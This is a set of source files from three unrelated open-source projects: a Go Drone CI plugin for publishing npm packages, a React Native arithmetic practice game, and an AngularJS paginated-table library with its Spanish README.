<repo_name>drone-plugins/drone-npm<file_sep>/plugin/impl.go // Copyright (c) 2020, the Drone Plugins project authors. // Please see the AUTHORS file for details. All rights reserved. // Use of this source code is governed by an Apache 2.0 license that can be // found in the LICENSE file. package plugin import ( "encoding/base64" "encoding/json" "fmt" "net" "net/url" "os" "os/exec" "os/user" "path" "strings" "github.com/sirupsen/logrus" ) type ( // Settings for the Plugin. Settings struct { Username string Password string Token string SkipWhoami bool Email string Registry string Folder string FailOnVersionConflict bool Tag string Access string npm *npmPackage } npmPackage struct { Name string `json:"name"` Version string `json:"version"` Config npmConfig `json:"publishConfig"` } npmConfig struct { Registry string `json:"registry"` } ) // globalRegistry defines the default NPM registry. const globalRegistry = "https://registry.npmjs.org/" // Validate handles the settings validation of the plugin. func (p *Plugin) Validate() error { // Check authentication options if p.settings.Token == "" { if p.settings.Username == "" { return fmt.Errorf("no username provided") } if p.settings.Email == "" { return fmt.Errorf("no email address provided") } if p.settings.Password == "" { return fmt.Errorf("no password provided") } logrus.WithFields(logrus.Fields{ "username": p.settings.Username, "email": p.settings.Email, }).Info("Specified credentials") } else { logrus.Info("Token credentials being used") } // Verify package.json file npm, err := readPackageFile(p.settings.Folder) if err != nil { return fmt.Errorf("invalid package.json: %w", err) } // Verify the same registry is being used if p.settings.Registry == "" { p.settings.Registry = globalRegistry } if strings.Compare(p.settings.Registry, npm.Config.Registry) != 0 { return fmt.Errorf("registry values do not match .drone.yml: %s package.json: %s", p.settings.Registry, npm.Config.Registry) } p.settings.npm = npm return nil } // Execute provides the implementation of the plugin. func (p *Plugin) Execute() error { // Write the npmrc file if err := p.writeNpmrc(); err != nil { return fmt.Errorf("could not create npmrc: %w", err) } // Attempt authentication if err := p.authenticate(); err != nil { return fmt.Errorf("could not authenticate: %w", err) } // Determine whether to publish publish, err := p.shouldPublishPackage() if err != nil { return fmt.Errorf("could not determine if package should be published: %w", err) } if publish { logrus.Info("Publishing package") if err = runCommand(publishCommand(&p.settings), p.settings.Folder); err != nil { return fmt.Errorf("could not publish package: %w", err) } } else { logrus.Info("Not publishing package") } return nil } // / writeNpmrc creates a .npmrc in the folder for authentication func (p *Plugin) writeNpmrc() error { var f func(settings *Settings) string if p.settings.Token == "" { logrus.WithFields(logrus.Fields{ "username": p.settings.Username, "email": p.settings.Email, }).Info("Specified credentials") f = npmrcContentsUsernamePassword } else { logrus.Info("Token credentials being used") f = npmrcContentsToken } // write npmrc file home := "/root" currentUser, err := user.Current() if err == nil { home = currentUser.HomeDir } npmrcPath := path.Join(home, ".npmrc") logrus.WithField("path", npmrcPath).Info("Writing npmrc") return os.WriteFile(npmrcPath, []byte(f(&p.settings)), 0644) //nolint:gomnd } // / shouldPublishPackage determines if the package should be published func (p *Plugin) shouldPublishPackage() (bool, error) { cmd := packageVersionsCommand(p.settings.npm.Name) cmd.Dir = p.settings.Folder trace(cmd) out, err := cmd.CombinedOutput() // see if there was an error // if there is an error its likely due to the package never being published if err == nil { // parse the json output var versions []string err = json.Unmarshal(out, &versions) if err != nil { logrus.Debug("Could not parse into array of string. Likely single value") var version string err := json.Unmarshal(out, &version) if err != nil { return false, err } versions = append(versions, version) } for _, value := range versions { logrus.WithField("version", value).Debug("Found version of package") if p.settings.npm.Version == value { logrus.Info("Version found in the registry") if p.settings.FailOnVersionConflict { return false, fmt.Errorf("cannot publish package due to version conflict") } return false, nil } } logrus.Info("Version not found in the registry") } else { logrus.Info("Name was not found in the registry") } return true, nil } // / authenticate atempts to authenticate with the NPM registry. func (p *Plugin) authenticate() error { var cmds []*exec.Cmd // Write the version command cmds = append(cmds, versionCommand()) // write registry command if p.settings.Registry != globalRegistry { cmds = append(cmds, registryCommand(p.settings.Registry)) } // Write skip verify command if p.network.SkipVerify { cmds = append(cmds, skipVerifyCommand()) } // Write whoami command to verify credentials if !p.settings.SkipWhoami { cmds = append(cmds, whoamiCommand()) } // Run commands err := runCommands(cmds, p.settings.Folder) if err != nil { return err } return nil } // / readPackageFile reads the package file at the given path. func readPackageFile(folder string) (*npmPackage, error) { // Verify package.json file exists packagePath := path.Join(folder, "package.json") info, err := os.Stat(packagePath) if os.IsNotExist(err) { return nil, fmt.Errorf("no package.json at %s: %w", packagePath, err) } if info.IsDir() { return nil, fmt.Errorf("the package.json at %s is a directory", packagePath) } // Read the file file, err := os.ReadFile(packagePath) if err != nil { return nil, fmt.Errorf("could not read package.json at %s: %w", packagePath, err) } // Unmarshal the json data npm := npmPackage{} err = json.Unmarshal(file, &npm) if err != nil { return nil, err } // Make sure values are present if npm.Name == "" { return nil, fmt.Errorf("no package name present") } if npm.Version == "" { return nil, fmt.Errorf("no package version present") } // Set the default registry if npm.Config.Registry == "" { npm.Config.Registry = globalRegistry } logrus.WithFields(logrus.Fields{ "name": npm.Name, "version": npm.Version, "path": packagePath, }).Info("Found package.json") return &npm, nil } // npmrcContentsUsernamePassword creates the contents from a username and // password func npmrcContentsUsernamePassword(config *Settings) string { // get the base64 encoded string authString := fmt.Sprintf("%s:%s", config.Username, config.Password) encoded := base64.StdEncoding.EncodeToString([]byte(authString)) // create the file contents return fmt.Sprintf("_auth = %s\nemail = %s", encoded, config.Email) } // / Writes npmrc contents when using a token func npmrcContentsToken(config *Settings) string { registry, _ := url.Parse(config.Registry) registry.Scheme = "" // Reset the scheme to empty. This makes it so we will get a protocol relative URL. host, port, _ := net.SplitHostPort(registry.Host) if port == "80" || port == "443" { registry.Host = host // Remove standard ports as they're not supported in authToken since NPM 7. } registryString := registry.String() if !strings.HasSuffix(registryString, "/") { registryString += "/" } return fmt.Sprintf("%s:_authToken=%s", registryString, config.Token) } // versionCommand gets the npm version func versionCommand() *exec.Cmd { return exec.Command("npm", "--version") } // registryCommand sets the NPM registry. func registryCommand(registry string) *exec.Cmd { return exec.Command("npm", "config", "set", "registry", registry) } // skipVerifyCommand disables ssl verification. func skipVerifyCommand() *exec.Cmd { return exec.Command("npm", "config", "set", "strict-ssl", "false") } // whoamiCommand creates a command that gets the currently logged in user. func whoamiCommand() *exec.Cmd { return exec.Command("npm", "whoami") } // packageVersionsCommand gets the versions of the npm package. func packageVersionsCommand(name string) *exec.Cmd { return exec.Command("npm", "view", name, "versions", "--json") } // publishCommand runs the publish command func publishCommand(settings *Settings) *exec.Cmd { commandArgs := []string{"publish"} if settings.Tag != "" { commandArgs = append(commandArgs, "--tag", settings.Tag) } if settings.Access != "" { commandArgs = append(commandArgs, "--access", settings.Access) } return exec.Command("npm", commandArgs...) } // trace writes each command to standard error (preceded by a ‘$ ’) before it // is executed. Used for debugging your build. func trace(cmd *exec.Cmd) { fmt.Fprintf(os.Stdout, "+ %s\n", strings.Join(cmd.Args, " ")) } // runCommands executes the list of cmds in the given directory. func runCommands(cmds []*exec.Cmd, dir string) error { for _, cmd := range cmds { err := runCommand(cmd, dir) if err != nil { return err } } return nil } func runCommand(cmd *exec.Cmd, dir string) error { cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr cmd.Dir = dir trace(cmd) return cmd.Run() } <file_sep>/plugin/plugin_test.go // Copyright (c) 2020, the Drone Plugins project authors. // Please see the AUTHORS file for details. All rights reserved. // Use of this source code is governed by an Apache 2.0 license that can be // found in the LICENSE file. package plugin import ( "testing" ) func TestTokenRCContents(t *testing.T) { settings := Settings{ Registry: "https://npm.someorg.com/", Token: "token", } actual := npmrcContentsToken(&settings) expected := "//npm.someorg.com/:_authToken=token" if actual != expected { t.Errorf("Unexpected token settings (Got: %s, Expected: %s)", actual, expected) } settings.Registry = "https://npm.someorg.com/with/path/" actual = npmrcContentsToken(&settings) expected = "//npm.someorg.com/with/path/:_authToken=token" if actual != expected { t.Errorf("Unexpected token settings (Got: %s, Expected: %s)", actual, expected) } settings.Registry = globalRegistry actual = npmrcContentsToken(&settings) expected = "//registry.npmjs.org/:_authToken=token" if actual != expected { t.Errorf("Unexpected token settings (Got: %s, Expected: %s)", actual, expected) } settings.Registry = "https://npm.someorg.com" actual = npmrcContentsToken(&settings) expected = "//npm.someorg.com/:_authToken=token" if actual != expected { t.Errorf("Unexpected token settings (Got: %s, Expected: %s)", actual, expected) } settings.Registry = "https://npm.someorg.com/with/path" actual = npmrcContentsToken(&settings) expected = "//npm.someorg.com/with/path/:_authToken=token" if actual != expected { t.Errorf("Unexpected token settings (Got: %s, Expected: %s)", actual, expected) } } <file_sep>/main.go // Copyright (c) 2020, the Drone Plugins project authors. // Please see the AUTHORS file for details. All rights reserved. // Use of this source code is governed by an Apache 2.0 license that can be // found in the LICENSE file. // DO NOT MODIFY THIS FILE DIRECTLY package main import ( "os" "github.com/drone-plugins/drone-npm/plugin" "github.com/drone-plugins/drone-plugin-lib/errors" "github.com/drone-plugins/drone-plugin-lib/urfave" "github.com/joho/godotenv" "github.com/urfave/cli/v2" ) var version = "unknown" func main() { settings := &plugin.Settings{} if _, err := os.Stat("/run/drone/env"); err == nil { godotenv.Overload("/run/drone/env") //nolint:errcheck } app := &cli.App{ Name: "drone-npm", Usage: "push a package to a npm repository", Version: version, Flags: append(settingsFlags(settings), urfave.Flags()...), Action: run(settings), } if err := app.Run(os.Args); err != nil { errors.HandleExit(err) } } func run(settings *plugin.Settings) cli.ActionFunc { return func(ctx *cli.Context) error { urfave.LoggingFromContext(ctx) p := plugin.New( *settings, urfave.PipelineFromContext(ctx), urfave.NetworkFromContext(ctx), ) if err := p.Validate(); err != nil { if e, ok := err.(errors.ExitCoder); ok { return e } return errors.ExitMessagef("validation failed: %w", err) } if err := p.Execute(); err != nil { if e, ok := err.(errors.ExitCoder); ok { return e } return errors.ExitMessagef("execution failed: %w", err) } return nil } } // settingsFlags has the cli.Flags for the plugin.Settings. func settingsFlags(settings *plugin.Settings) []cli.Flag { return []cli.Flag{ &cli.StringFlag{ Name: "username", Usage: "NPM username", EnvVars: []string{"PLUGIN_USERNAME", "NPM_USERNAME"}, Destination: &settings.Username, }, &cli.StringFlag{ Name: "password", Usage: "NPM password", EnvVars: []string{"PLUGIN_PASSWORD", "NPM_PASSWORD"}, Destination: &settings.Password, }, &cli.StringFlag{ Name: "email", Usage: "NPM email", EnvVars: []string{"PLUGIN_EMAIL", "NPM_EMAIL"}, Destination: &settings.Email, }, &cli.StringFlag{ Name: "token", Usage: "NPM deploy token", EnvVars: []string{"PLUGIN_TOKEN", "NPM_TOKEN"}, Destination: &settings.Token, }, &cli.BoolFlag{ Name: "skip-whoami", Usage: "Skip credentials verification by running npm whoami command", EnvVars: []string{"PLUGIN_SKIP_WHOAMI", "NPM_SKIP_WHOAMI"}, Destination: &settings.SkipWhoami, }, &cli.StringFlag{ Name: "registry", Usage: "NPM registry", EnvVars: []string{"PLUGIN_REGISTRY", "NPM_REGISTRY"}, Destination: &settings.Registry, }, &cli.StringFlag{ Name: "folder", Usage: "folder containing package.json", EnvVars: []string{"PLUGIN_FOLDER"}, Destination: &settings.Folder, }, &cli.BoolFlag{ Name: "fail-on-version-conflict", Usage: "fail NPM publish if version already exists in NPM registry", EnvVars: []string{"PLUGIN_FAIL_ON_VERSION_CONFLICT"}, Destination: &settings.FailOnVersionConflict, }, &cli.StringFlag{ Name: "tag", Usage: "NPM publish tag", EnvVars: []string{"PLUGIN_TAG"}, Destination: &settings.Tag, }, &cli.StringFlag{ Name: "access", Usage: "NPM scoped package access", EnvVars: []string{"PLUGIN_ACCESS"}, Destination: &settings.Access, }, } } <file_sep>/go.mod module github.com/drone-plugins/drone-npm go 1.19 require ( github.com/drone-plugins/drone-plugin-lib v0.4.0 github.com/joho/godotenv v1.4.0 github.com/sirupsen/logrus v1.9.0 github.com/urfave/cli/v2 v2.23.7 ) require ( github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 // indirect golang.org/x/sys v0.3.0 // indirect )
693cde99894cd660b317375d30d615e4dd6a6d0f
[ "Go Module", "Go" ]
4
Go
drone-plugins/drone-npm
643c53afa55a608df2732ca01b36a773d1e72b34
c5b5dcbbea742975dcdbc2c4ebd1cf6ea5093b57
refs/heads/master
<repo_name>MishaMusaeva/update<file_sep>/components/Game/index.js import React, { useState, useEffect } from 'react' import { ImageBackground, StyleSheet, Text, TouchableOpacity, View, Image, TextInput } from 'react-native' import bg from '../image/bg1.png' import { Audio } from 'expo-av'; const padTime = (time) => { return String(time).length === 1 ? `0${time}` : `${time}`; }; const format = (time) => { const minutes = Math.floor(time / 60); const seconds = time % 60; return `${minutes}:${padTime(seconds)}`; }; export default function Game({ navigation, route }) { const{operator, maxNum, level} = route.params const [counter, setCounter] = React.useState(5); React.useEffect(() => { let timer; if (counter > 0) { timer = setTimeout(() => setCounter((c) => c - 1), 1000); } return () => { if (timer) { clearTimeout(timer); } }; }, [counter]); const [data, setData] = useState([]) const [num, setNum] = useState(0) const [check, setCheck] = useState('') const [music, setMusic]=useState() React.useEffect(() => { return music ? () => { music.unloadAsync(); } : undefined; }, [music]); let arr = [] const MinusEasy= ()=>{ arr=[] let numberOne=Math.floor(Math.random() * (100 - 90)) + 90; let numberTwo=Math.floor(Math.random() * (50 - 20)) + 20; let numberThree=Math.floor(Math.random() * (50- 20)) + 20; setData([numberOne,numberTwo,numberThree]) } const MinusHard= ()=>{ arr=[] let numberOne=Math.floor(Math.random() * (1000 - 450)) + 450; let numberTwo=Math.floor(Math.random() * (100 - 30)) + 20; let numberThree=Math.floor(Math.random() * (100- 30)) + 20; let numberFour=Math.floor(Math.random() * (100- 20)) + 20; let numberFive=Math.floor(Math.random() * (100- 30)) + 20; let numberSix=Math.floor(Math.random() * (100- 30)) + 20; let numberSeven=Math.floor(Math.random() * (100- 30)) + 20; let numberEight=Math.floor(Math.random() * (100- 30)) + 20; let numberNine=Math.floor(Math.random() * (100- 30)) + 20; let numberTen=Math.floor(Math.random() * (100- 30)) + 20; setData([numberOne,numberTwo,numberThree,numberFour,numberFive,numberSix,numberSeven,numberEight,numberNine,numberTen]) } const MinusNormal= ()=>{ arr=[] let numberOne=Math.floor(Math.random() * (400 - 350)) + 300; let numberTwo=Math.floor(Math.random() * (100 - 20)) + 20; let numberThree=Math.floor(Math.random() * (100- 20)) + 20; let numberFour=Math.floor(Math.random() * (100- 20)) + 20; let numberFive=Math.floor(Math.random() * (100- 20)) + 20; setData([numberOne,numberTwo,numberThree,numberFour,numberFive]) } const DivideEasy = ()=>{ var int1 = Math.floor((Math.random() * 99) + 10); var int2 = Math.floor((Math.random() * 9) + 2); if (int1 % int2 === 0){ setData([int1, int2]) } else { DivideEasy() } } const DivideNormal = ()=>{ let int1 = Math.floor((Math.random() * 999) + 10); let int2 = Math.floor((Math.random() * 20) + 2); debugger if (int1 % int2 === 0){ setData([int1, int2]) } else { DivideNormal() } } const DivideHard = ()=>{ let int1 = Math.floor((Math.random() * 9999) + 10); let int2 = Math.floor((Math.random() * 90) + 2); if (int1 % int2 === 0){ setData([int1, int2]) } else { DivideHard() } } const changeMinus = () => { arr = [] if(operator=='-' && level=='Easy') MinusEasy() if(operator=='-' && level=='Normal') MinusNormal() if(operator=='-' && level=='Hard') MinusHard() setNum(0) } const changeDivide = () => { arr = [] if(operator=='/' && level=='Easy')DivideEasy() if(operator=='/' && level=='Normal')DivideNormal() if(operator=='/' && level=='Hard')DivideHard() setNum(0) } const changePlus = () => { arr = [] for (let i = 0; i < maxNum; i++) { arr.push(Math.floor(Math.random() * 99)) setData([...arr]) setCheck('') } setNum(0) } const changeMulty = () => { arr = [] for (let i = 0; i < maxNum; i++) { arr.push(Math.floor(Math.random() * 10)+1) setData([...arr]) } setNum(0) } let summ if (operator ==='+' || operator ==='-')summ = 0 else summ = 1 ; if(operator == '+'){ arr = [] for (let i = 0; i < data.length; i++) { summ+=data[i] } } if(operator == '*'){ arr = [] for (let i = 0; i < data.length; i++) { summ*=data[i] } } if(operator =='/'){ summ=Number(data[0]/data[1]) } if(operator == '-' && level=='Easy'){ summ=data[0]-data[1]-data[2] } if(operator == '-' && level=='Normal'){ summ=data[0]-data[1]-data[2]-data[3]-data[4] } if(operator == '-' && level=='Hard'){ summ=data[0]-data[1]-data[2]-data[3]-data[4]-data[5]-data[6]-data[7]-data[8]-data[9] } const nextNum = () => { num == maxNum ? alert('vse') : setNum(num + 1) } const proverka = () => { if (check == summ) trueSound() else falseSound() if(operator=='+')changePlus() if(operator=='*')changeMulty() changeDivide() changeMinus() } useEffect(() => { if(operator=='+')changePlus() if(operator=='*')changeMulty() changeDivide() changeMinus() }, []) const trueSound =()=>{ async function playSound() { const { sound } = await Audio.Sound.createAsync( require('./player/true.mp3') ); setMusic(sound&&sound); await sound.playAsync(); } playSound() } const falseSound =()=>{ async function playSound() { const { sound } = await Audio.Sound.createAsync( require('./player/false.mp3') ); setMusic(sound&&sound); await sound.playAsync(); } playSound() } return ( <View style={styles.game}> <ImageBackground source={bg} style={styles.gamePhoto}> <View style={styles.textLevel}> <View className="App"> <Text>{counter === 0 ? navigation.navigate('Result', {operator, level}) : `Timer: ${format(counter)}`}</Text> </View> <Text>Option {operator}</Text> <Text>{level} level</Text> </View> { num == maxNum ? <> <TextInput type="text" onChange={e => setCheck(e.target.value)} value={check} style={styles.randomNumber} /> <TouchableOpacity onPress={() => proverka() } style={styles.next}> <Text style={styles.nextText} > Check </Text> </TouchableOpacity> </> : <> <TextInput style={styles.randomNumber} value={data[num]} /> <TouchableOpacity onPress={() => nextNum()} style={styles.next}> <Text style={styles.nextText} > Next </Text> </TouchableOpacity> </> } </ImageBackground> </View> ) } const styles = StyleSheet.create({ game: { flex: 1, }, gamePhoto: { height: '100%', width: '100%' }, textLevel: { width: '80%', flex: 1, flexDirection: 'row', justifyContent: 'space-around', marginTop: '15%', marginLeft: '10%' }, plus: { width: 45, height: 45, }, level: { color: '#0186BF', fontSize: 35, }, second: { color: '#0186BF', textAlign: 'center', fontSize: 27, marginBottom: '5%' // marginTop: 80, }, randomNumber: { width: 150, height: 150, backgroundColor: 'rgba(175,212,113,0.2)', borderWidth: 1, borderColor: 'rgba(175,212,113,1)', borderRadius: 25, marginBottom: '5%', marginLeft: '30%', }, seven: { width: 100, flex: 1, justifyContent: 'center', marginLeft: '20%' }, next: { // marginTop: 45, marginLeft: '10%', width: 300, height: 40, borderRadius: 50, backgroundColor: '#AFD471', marginBottom: '70%' }, nextText: { color: 'white', textAlign: 'center', fontSize: 25, }, }) <file_sep>/components/Menu/index.js import React, {useState} from 'react' import { ImageBackground, StyleSheet, Text, TouchableOpacity, View, Image } from 'react-native' // import { Checkbox } from 'react-native-paper' import Checkbox from 'expo-checkbox'; import { Audio } from 'expo-av'; export default function DrawerContent({navigation}) { const [checked, setChecked] =useState (false) const [sound, setSound] =useState(false); const [music, setMusic]=useState() // const navigation = useNavigation() async function playSound() { const { sound } = await Audio.Sound.createAsync( require('./playBg.mp3') ); setMusic(sound&&sound); await sound.playAsync(); setSound(true) } const pauseMusic = async() =>{ setSound(false) if (music !== null){ await music?.pauseAsync() } } const playMusic=() =>{ playSound() } React.useEffect(() => { return music ? () => { console.log('Unloading Sound'); music.unloadAsync(); } : undefined; }, [music]); return ( <View style={styles.game}> <ImageBackground style={styles.gamePhoto}> <View style={styles.settings}> <Checkbox value={sound} onValueChange={sound ? pauseMusic : playMusic} color={sound ? '#4630EB' : '#000'} style={{margin:8}} /> <Text style={styles.settingsText} >Sound On/Off</Text> <TouchableOpacity onPress={()=> navigation.navigate('Choice') }> <Text style={styles.exit} >Exit</Text> </TouchableOpacity> <View style={styles.container}> </View> </View> </ImageBackground> </View> ) } const styles = StyleSheet.create({ game: { flex: 1, }, gamePhoto: { height: '100%', width: '100%', backgroundColor: '#AFD471', }, settingsText: { color: 'white', }, settings: { marginTop: '20%', flex: 1 }, exit: { color: 'white', marginTop: '190%' } }) <file_sep>/components/Home/index.js import { useNavigation } from '@react-navigation/core' import React from 'react' import { View, Text, TouchableOpacity, ImageBackground, StyleSheet,} from 'react-native' import mainPage from '../image/Mainpage.png' export default function Home({navigation}) { return ( <View style={styles.container}> <ImageBackground source={mainPage} style={styles.img}> <Text style={styles.mentis}>MENTIS</Text> <TouchableOpacity style={styles.button} onPress={()=> navigation.navigate('Choice') } > <Text style= {styles.start}>START</Text> </TouchableOpacity> </ImageBackground> </View> ) } const styles = StyleSheet.create({ container: { flex: 1, }, img: { height: '100%', width: '100%' }, mentis: { fontSize: 55, marginTop: 355, marginLeft: 70, color: '#AFD471', }, button: { marginTop: 30, marginLeft: 140, width: 100, height: 30, borderRadius: 50, backgroundColor: 'white', borderColor: '#AFD471', borderWidth: 3, }, start: { color: '#AFD471', fontSize: 20, textAlign: 'center', fontWeight: 'bold', } });<file_sep>/components/Result/index.js import React from 'react' import { ImageBackground, StyleSheet, Text, TouchableOpacity, View, Image } from 'react-native' import bg from '../image/bg1.png' export default function Result({navigation, route}) { const{operator, level} = route.params return ( <View style={styles.game}> <ImageBackground source={bg} style={styles.gamePhoto}> <View style={styles.textLevel}> <Text>Option {operator}</Text> <Text>{level} level</Text> </View> <View> <Text style={styles.second}>Your result is</Text> <Text style={styles.second1}>points</Text> </View> <View style={styles.text}> <TouchableOpacity style={styles.next} onPress={()=> navigation.navigate('Game') }> <Text style={styles.nextText}>TRY AGAIN</Text> </TouchableOpacity> <TouchableOpacity style={styles.next} onPress={()=> navigation.navigate('Choice') }> <Text style={styles.nextText}>GO TO MAIN MENU</Text> </TouchableOpacity> </View> </ImageBackground> </View> ) } const styles = StyleSheet.create({ game: { flex: 1, }, gamePhoto: { height: '100%', width: '100%' }, textLevel: { width: '80%', flex: 1, flexDirection: 'row', justifyContent: 'space-around', marginTop: '15%', marginLeft: '10%' }, plus: { width: 45, height: 45, }, level: { color: '#0186BF', fontSize: 35, }, second: { color: 'white', textAlign: 'center', fontSize: 27, marginTop: '15%' }, second1: { color: 'white', textAlign: 'center', fontSize: 27, marginTop: '5%' }, seven: { width: 150, height: 200, marginLeft: '30%', marginTop: '2%' }, text: { marginBottom: '50%' }, next: { marginLeft: '10%', width: 300, height: 40, borderRadius: 50, backgroundColor: '#AFD471', marginTop: '2%' }, nextText: { color: 'white', textAlign: 'center', fontSize: 25, }, }) <file_sep>/components/Level/index.js import React from 'react' import { ImageBackground, StyleSheet, Text, View, Image, TouchableOpacity } from 'react-native' import bg from '../image/bg.png' export default function Level({navigation, route}) { const { operator } = route.params; return ( <View style={styles.game}> <ImageBackground source={bg} style={styles.gamePhoto}> <View> <Text style={styles.level}>Select difficulty level</Text> </View> <View style={styles.blocks}> <View style={styles.operation}> <TouchableOpacity style={styles.block} onPress={()=> operator == '/' ? navigation.navigate('Game', {operator, maxNum: 2, level:'Easy'}) : navigation.navigate('Game', {operator, maxNum: 3, level:'Easy'})}> <View style={styles.planes}> <View style={styles.plane}></View> <View style={styles.plane}></View> <View style={styles.plane1}></View> </View> <Text style={styles.description}>Easy level. For each example, you are given up to 60 seconds of time, in examples only single-digit numbers</Text> </TouchableOpacity> </View> <View style={styles.operation1}> <TouchableOpacity style={styles.block} onPress={()=> operator == '/' ? navigation.navigate('Game', {operator, maxNum: 2, level:'Normal'}) : navigation.navigate('Game', {operator, maxNum: 5, level:'Normal'})}> <View style={styles.planes}> <View style={styles.plane}></View> <View style={styles.plane1}></View> <View style={styles.plane1}></View> </View> <Text style={styles.description}>Normal level. For each example, you are given up to 60 seconds of time, the examples use single and two-digit numbers</Text> </TouchableOpacity> </View> <View style={styles.operation2}> <TouchableOpacity style={styles.block} onPress={()=> operator == '/' ? navigation.navigate('Game', {operator, maxNum: 2, level:'Hard'}) : navigation.navigate('Game', {operator, maxNum:10, level:'Hard'})}> <View style={styles.planes}> <View style={styles.plane1}></View> <View style={styles.plane1}></View> <View style={styles.plane1}></View> </View> <Text style={styles.description}>Hard level. For each example, you are given up to 60 seconds of time, the examples use single, two and three-digit numbers</Text> </TouchableOpacity> </View> </View> </ImageBackground> </View> ) } const styles = StyleSheet.create({ game: { flex: 1, }, gamePhoto: { height: '100%', width: '100%' }, level: { color: '#0186BF', textAlign: 'center', fontSize: 42, marginTop: 40, }, block: { flex: 1, justifyContent: 'space-around', height: 100, width: '80%', backgroundColor: 'rgba(175,212,113,0.2)', borderWidth: 1, borderColor: 'rgba(175,212,113,1)', borderRadius: 25, alignItems: 'center', alignContent: 'center', marginBottom: '5%', marginTop: '2%', marginLeft: '2%', marginRight: '2%', flexDirection: 'row', flexWrap: 'wrap', alignItems: 'flex-start' }, operation:{ flex: 1, flexDirection: 'row', justifyContent: 'space-around', marginBottom: '30%', }, operation1:{ flex: 1, flexDirection: 'row', justifyContent: 'space-around', marginBottom: '10%' }, operation2:{ flex: 1, flexDirection: 'row', justifyContent: 'space-around', marginTop: '20%' }, planes:{ height: 60, width: '20%' }, plane:{ flex: 1, justifyContent: 'flex-start', width: 60, borderWidth: 1, borderColor: 'rgba(175,212,113,1)', alignItems: 'center', marginTop:'2%', marginBottom: '2%' }, plane1:{ flex: 1, justifyContent: 'flex-start', width: 60, backgroundColor: 'rgba(175,212,113,1)', alignItems: 'center', marginTop:'2%', marginBottom: '2%' }, description: { color: '#0186BF', textAlign: 'left', fontSize: 14, width: '60%' }, })
5c75b6b393c06947008e94274b3d3642f6370e27
[ "JavaScript" ]
5
JavaScript
MishaMusaeva/update
91a202649a21bd686f68d1e13bd9b02008ee8c91
b03302c5a39386c58ba08b4ffd551df19fff74e6
refs/heads/master
<file_sep>'use strict'; angular.module('angular-pit-table.options', []) .provider('pitTableOptions', pitTableOptionsProvider); function pitTableOptionsProvider() { var config = { pageRadious: 2, pageSize: 20, emptyTableText: 'Ningún dato disponible en esta tabla.', method: 'GET' }; function PitTableOptions(config) { this.pageRadious = config.pageRadious; this.pageSize = config.pageSize; this.emptyTableText = config.emptyTableText; }; this.setPageRadious = function (pageRadious) { if (angular.isNumber(pageRadious)) { config.pageRadious = pageRadious; } }; this.setPageSize = function (pageSize) { if (angular.isNumber(pageSize)) { config.pageSize = pageSize; } }; this.setEmptyTableText = function (text) { config.emptyTableText = text; }; this.setMethod = function (method) { config.emptyTableText = method; }; this.$get = [function () { return new PitTableOptions(config); }]; } <file_sep>'use strict'; angular.module('angular-pit-table.factory', []) .factory('PTColumnBuilder', ptColumnBuilder) .factory('PTParamsBuilder', ptParamsBuilder); function ptColumnBuilder() { var PTColumn = { withName: function (name) { this.name = name; return this; }, withType: function (type) { this.type = type; return this; }, withClass: function (clazz) { this.clazz = clazz; return this; }, withDirective: function (directive) { this.directive = directive; return this; }, notSortable: function () { this.sortable = false; return this; }, withOrder: function (sort) { this.sort = sort; return this; }, withOrderColumns: function (orderColumns) { if (angular.isArray(orderColumns)) { this.orderColumns = orderColumns; } return this; }, isCheckAll: function () { this.checkAll = true; return this; } }; return { newColumn: function (id, name) { if (angular.isUndefined(id)) { throw new Error('El parámetro "id" no está definido'); } var column = Object.create(PTColumn); column.id = id; column.sortable = true; column.checkAll = false; if (angular.isDefined(name)) { column.name = name; } return column; }, PTColumn: PTColumn }; } function ptParamsBuilder() { var PTParams = { withParam: function (key, value) { if (angular.isString(key)) { this.params[key] = value; } return this; }, withParamClean: function () { this.params = {}; return this; }, withUrl: function (url) { this.url = url; return this; }, withEventName: function (eventName) { this.eventName = eventName; return this; }, withMethod: function (method) { this.method = method; return this; }, inBody: function (isInBody) { this.isInBody = isInBody; return this; } }; return { newParams: function () { var params = Object.create(PTParams); params.params = {}; params.method = 'GET'; params.isInBody = false; return params; }, PTParams: PTParams }; } <file_sep># angular-pit-table ## Objetivo La finalidad de '_angular-pit-table_' es consumir la respuesta de un servicio web, generando en forma automatizada una tabla con resultados paginados y ordenables por columnas en forma ascendente o descendente. ## Requisitos de respuesta del servicio web El servicio web debe cumplir con el estándar [HATEOAS](https://projects.spring.io/spring-hateoas/), o bien, la respuesta debe considerar una estructura como la del siguiente ejemplo: ```javascript { "content": [ { ... }, { ... } ], "number": 0, "size": 10, "totalElements": 2, "totalPages": 1 } ``` Donde: "content": datos a utilizar en la tabla. "number": número de página, iniciando en 0, como la primera. "size": cantidad de elementos a mostrar por página. "totalElements": cantidad total de elementos mostrados en la tabla "totalPages": cantidad total de páginas de la tabla ## Configuración Para poder utilizar '_angular-pit-table_' se debe definir como dependencia en el archivo **bower.json**. `"angular-pit-table": "https://github.com/patagonia-it/angular-pit-table.git#1.0.6"` Y definir en el archivo **app.js** el módulo `'angular-pit-table'` ## Uso ### Lógica Es necesario configurar en el controlador algunas de las estructuras que permitirán a la tabla conocer la forma en que debe desplegar dicha información: Para ellos se usarán los Factory **PTParamsBuilder** y **PTColumnBuilder**: ```javascript $scope.ptParams = PTParamsBuilder.newParams() //parámetros de búsqueda (son pasados como query params), se puede invocar más de una vez este método para tener múltiples parámetros .withParam('nombre_parametro', valor_parametro) //url donde se obtiene la información .withUrl(url_endpoint_data) //limpia todo los filtros de busqueda .withParamClean() //nombre del evento que la tabla atenderá y que gatillará un actualización de la data .withEventName('nombreEvento') //método que se utilizará al invocar el endpoint, por defecto 'GET' .withMethod('POST') //en caso de que esto esté marcado como true, los parámetros se enviarán en el body del request, por defecto es false .inBody(true); $scope.ptColumns = [ PTColumnBuilder.newColumn('llave_de_la_respuesta', 'nombre_de_la_columna') //atributo(s) que se enviará al backend cuando se solicite ordenar la data por dicha columna .withOrderColumns(['id']) //tipo de ordenamiento, por defecto es 'asc' .withOrder('desc'), PTColumnBuilder.newColumn('idLocal', 'Id Local') //indica que la columna no podrá ser usada para ordenar la data .notSortable() //agregará dicha(s) clase(s) al <td> .withClass('text-center'), ..., PTColumnBuilder.newColumn('fechaEntrada', 'Fecha Ingreso') .withOrderColumns(['derivacion.fechaHora']) //indica que se muestre en un formato de fecha por defecto, también se puede utilizar 'boolean' o 'checkbox' .withType('datetime'), ..., 